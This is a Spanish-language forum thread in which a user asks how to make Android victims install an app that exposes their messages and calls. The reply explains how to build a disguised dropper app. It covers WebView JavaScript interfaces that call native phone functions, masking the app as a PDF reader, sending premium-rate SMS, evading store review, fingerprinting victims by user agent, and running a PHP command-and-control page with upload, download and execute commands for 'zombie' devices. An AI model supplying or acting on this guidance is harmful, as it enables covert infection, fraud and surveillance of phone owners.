Alguien sabe si existe ya un hack para infectar celulares android, que la victima descarge una app y la ejecute? y de ahi quede infectada y pueda ver sus mensajes llamadas etc?
https://github.com/StringManolo/SMJSB?files=1El archivo A.html es una página web de ejemplo. A ti lo que te interesa es la función vibrate:
<script>
function vibrate(milliseconds) {
Android.Vibrate(milliseconds);
}
</script>
Si el usuario visita esta página web el móvil vibrará. En contreto se lo metí al banner de la web. Cuando el usuario toca con el dedo el rectángulo, este cambia de color y el teléfono vibra.
Esto es posible porque desde java se puede exponer las funciones nativas del sistema.
De la mism forma que vibra, puede enviar un sms, hacer una llamada. Descargarte un exploit, rootear el sistema... Lo que te de la gana que te permita hacer el teléfono. Es todo igual de sencillo.
Qué tipo de malwares puedes desarrollar de un forma muy sencilla técnicamente de esta forma?
Un dialer por ejemplo. Son los típicos que mandan sms a un teléfono de pago subscribiéndose.
Como puedes distribuir la applicación de una forma sencilla y ocultar el código? Puedes utilizar una librería de javascript que lea pdfs. Simplemente sustituyes mi A.html por un archivo con una librería de javascript para leer pdf y le añades la llamada a tu función.
En este caso se llama Android.vibrate(milliseconds) para que sea reconocida pero podrías llamarla a.b(); Lo bueno es que ni siquiera necesitas buildear el proyecto con un html fijo. Simplemente le pones una url a cualquier página pública y lees el contenido. Cuando aparezca la palabra ho1a!!!! en ese sitio, tu código java lo interpreta y manda el sms. O montas una página php y cada persona que visite la página desde tu app, compruebas si es un usuario que infectaste tú, o un random. Si es un random le muestras una web normal. Si es un bot, le añades una llamada a función en medio de la página junto al código del lector del .pdf.
No es nada sofisticado, es todo lo contrario.
En el archivo actividadPrincipal.java tienes simplemente un visor de html con el motor de webkit, como si fuese un navegador. Y se le activa javascript. Así puede ver e interpretar páginas web. Muy útil para usar de bot por si quieres mandar al usuario hacer tareas en páginas con seguridad.
En este archivo te interesan varias cosas.
El userAgent usa uno de un servicio de Google online. Si borras el userAgent utiliza el por defecto del teléfono.
String MiUserAgent = "Mozilla/5.0 (Linux; U; Android 4.3; en-us; SM-N900T Build/JSS15J) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30";
MiWebView.getSettings().setUserAgentString(MiUserAgent);
Si haces spear delivery puedes editar el userAgent base y añadirle un pequeño cambio para identificarlo cuando visite tu web para mandarle un payload personalizado.
Despues tienes el trozo de código que llama a la interfaz. JSInterfaz estáz definido en otro archivo. "Android" es el nombre de la interfaz. Como te dije puedes llamarle como quieras. Es el identificador que usarás en el javascript de la web. Si vas a hacer un lector de pdf le puede llamar IsPDFOpen para despistar. MiWebView.addJavascriptInterface(new JSInterface(this), "Android");
El último trozo de código de este archivo que te interesa es este:
MiWebView.loadUrl("file:///android_asset/A.html");
Ahora mismo carga la web desde local, asique no necesitas tener acceso a internet para controlar el dispositivo.
Con la el mismo método puedes llamar a cualquier url. Ya sea de tu web o cualquier otra. Como va directa al motor puedes hacer cosas chulas como pasarle scripts directamente, meterle un eval para los parámetros, un uri que realice una descarga automática o el pseudoprotocolo de javacript. Si siquiera necesitas activar javascript para hacer estas cosas. Asique si quieres mayor seguridad puedes harcodear un dominio a la url y pasarle javascript en las respuestas por la url. Como se queda con el mismo document location haces un refresh y ya lo tienes a la escucha de nuevo.
El archivo JSInterfaz.java es super sencillo. Solo tienes que añadir tus funciones debajo de la de vibrate siguiendo el mismo formato.
Por último tienes 2 .xml uno para crear la interfaz, y otro para darle los permisos necesarios a la aplicación.
Esto más que el diseño de un malware, es una applicación diseñada para instalar otro malware. Una vez en el sistema, puede ser codeada para pasar totalmente desapercivida, firmada, subida a la store, etc.
Después desde tu web controlas a quien le das que. No te interesa infectar a los developers de Google que testén tu app. xD
La aplicaciones en Android normalmente necesitan instalaciones muy pesadas para ser desarrolladas. Esta aplicación la puedes crear tal cual usando el Java N-IDE desde tu Android en la playstore. Solo tienes que descargártela, crear un nuevo proyecto Android y añadir estos archivos. Le das a buildear y listo, ya tienes tu .apk para mandar.
Lo tal es que en tu web tengas un php. Algo estilo:
<!DOCTYPE html>
<html>
<head>
<meta content='width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=0' name='viewport'/>
<title>SMZC</title>
</head>
<body>
<?php
$yourdomain = $_SERVER['HTTP_HOST'];
$UserAgent=$_SERVER['HTTP_USER_AGENT'];
$BotUA = 'zombie';
?>
<div id="ContenidoWeb">
<p><h3>Página Web:</h3></p>
<p>
<?php
if ($UserAgent == $BotUA)
{
echo "Eres un Zombie<br>Comandos:<br>@SubirArchivo<br>@BajarArchivo<br>@EjecutarArchivo";
}
else
{
echo "Eres un visitante";
}
?>
</p>
</div>
</body>
</html>
Obviamente esto es solo un ejemplo.
Esta diseñado para ofrecer servicios customizados a diversos clientes con distintas necesidades sin verse limitado en el desarrollo por la seguridad de los navegadores. A veces los clientes se portan mal y necesitan un castigo :3